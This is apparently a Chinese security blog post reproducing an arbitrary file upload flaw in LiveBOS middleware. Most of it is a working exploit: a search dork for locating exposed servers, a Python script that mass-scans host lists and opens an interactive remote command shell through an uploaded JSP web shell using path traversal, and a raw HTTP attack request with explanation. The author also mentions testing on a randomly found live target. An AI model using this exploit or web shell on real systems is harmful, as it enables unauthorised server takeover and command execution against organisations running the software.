【漏洞复现】LiveBos UploadFile 任意文件上传漏洞

          声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

LiveBOS,由顶点软件股份有限公司开发的对象型业务架构中间件及其集成开发工具,是一种创新的软件开发模式,以业务模型建立为核心,直接完成软件开发。它适用于各类基于WEB的专业应用软件和行业大型应用的开发。LiveBOS由三个相对独立的产品组成:运行支持支撑平台 LiveBOS Server,开发集成环境LiveBOS Studio以及运维管理工具LiveBOS Manager。然而,其接口UploadFile.do;.js.jsp存在任意文件上传漏洞,攻击者可以利用该漏洞获取系统服务器权限,从而控制该系统。

二、资产收集

1.使用网络空间测绘引擎搜索

鹰图检索:web.body=="LiveBOS"

2.使用poc批量扫描

import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import time
import ssl
import urllib.request
import random
import string
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    target = url+"/feed/UploadFile.do;.js.jsp"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
    }

    data="""-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../tmptest1.jsp"\r\nContent-Type: image/png\r\n\r\n<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3""".encode('utf-8')
    try:
        response = urllib.request.Request(target, headers=headers, data=data, method="POST", unverifiable=True)
        res = urllib.request.urlopen(response)
        upload_status_code = res.getcode()
        upload_content = res.read().decode()
        if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
            result_url = url + '/tmptest1.jsp;.js.jsp'
            result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"}, method="GET", unverifiable=True)
            res = urllib.request.urlopen(result_response)
            result_status_code = res.getcode()
            result_content = res.read().decode()
            if result_status_code == 200 and 'HelloWorldTest' in result_content:
                print(f"\033[31mDiscovered:{url}: LiveBos_UploadFile_ArbiraryFileUpload!\033[0m")
                return True
    except Exception as e:
        pass

def run(url):
    url = url.rstrip("/")
    target = url + "/feed/UploadFile.do;.js.jsp"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
        "Content-Type": "multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3"
    }
    if check(url):
        while True:
            command = input("\033[34mPlease input command (stop input:exit):\033[0m")
            if "exit" not in command:
                filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=5))
                data = """-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3\r\nContent-Disposition: form-data; name="file"; filename="//../../../../replace1.jsp"\r\nContent-Type: image/png\r\n\r\n<% java.io.InputStream in = Runtime.getRuntime().exec(\"replace2\").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3"""
                data = data.replace('replace1',filename).replace('replace2',command).encode('utf-8')
                try:
                    response = urllib.request.Request(target, headers=headers, data=data, method="POST",unverifiable=True)
                    res = urllib.request.urlopen(response)
                    upload_status_code = res.getcode()
                    upload_content = res.read().decode()
                    if upload_status_code == 200 and 'oldfileName' in upload_content and 'newFileName' in upload_content:
                        result_url = url + '/{}.jsp;.js.jsp'.format(filename)
                        result_response = urllib.request.Request(result_url, headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"},method="GET", unverifiable=True)
                        res = urllib.request.urlopen(result_response)
                        result_status_code = res.getcode()
                        result_content = res.read().decode()
                        if result_status_code == 200:
                            print(result_content)
                except Exception as e:
                    pass
            else:
                break

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        run(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

cmd运行poc脚本:python poc.py -f host.txt

 随机寻找的幸运儿

三、漏洞复现 

1.构造数据包

1.构造数据包:

POST /feed/UploadFile.do;.js.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Length: 343

-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp"
Content-Type: image/png

<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3

2.数据包分析 

  1. 请求行:POST /feed/UploadFile.do;.js.jsp HTTP/1.1,表示这是一个POST请求,目标URL是/feed/UploadFile.do;.js.jsp,使用的HTTP协议版本是1.1。

  2. 请求头:包括Host、User-Agent和Content-Type等信息。

    • Host: x.x.x.x,表示请求的目标服务器地址。
    • User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36,表示发起请求的客户端信息,这里是使用Chrome浏览器的用户代理字符串。
    • Content-Type: multipart/form-data; boundary=---------------------------11d2c49c8ddda2a65a0a90c3b02189a3,表示请求体的类型是多部分表单数据,边界字符串为-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3
    • Content-Length: 343,表示请求体的长度为343字节。
  3. 请求体:包含了要上传的文件内容。

    • 边界字符串:-----------------------------11d2c49c8ddda2a65a0a90c3b02189a3,用于分隔不同的表单字段。
    • 文件信息:Content-Disposition: form-data; name="file"; filename="//../../../../tmptest.jsp",表示这是一个名为"file"的表单字段,文件名为"//../../../../tmptest.jsp"。
    • 文件类型:Content-Type: image/png,表示文件的类型是PNG图片。
    • 文件内容:<% out.println("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>,这是一段JSP代码,输出"HelloWorldTest"并删除当前servlet路径对应的文件。

3.结束跑路

1.构造数据包,上传一个tmptest.jsp文件

2.URL访问刚刚上传的文件ip/tmptest.jsp;.js.jsp​​​​​​​

每篇一言:​​​​​​​憧憬是距离理解最遥远的感情。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cityミ slaves

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值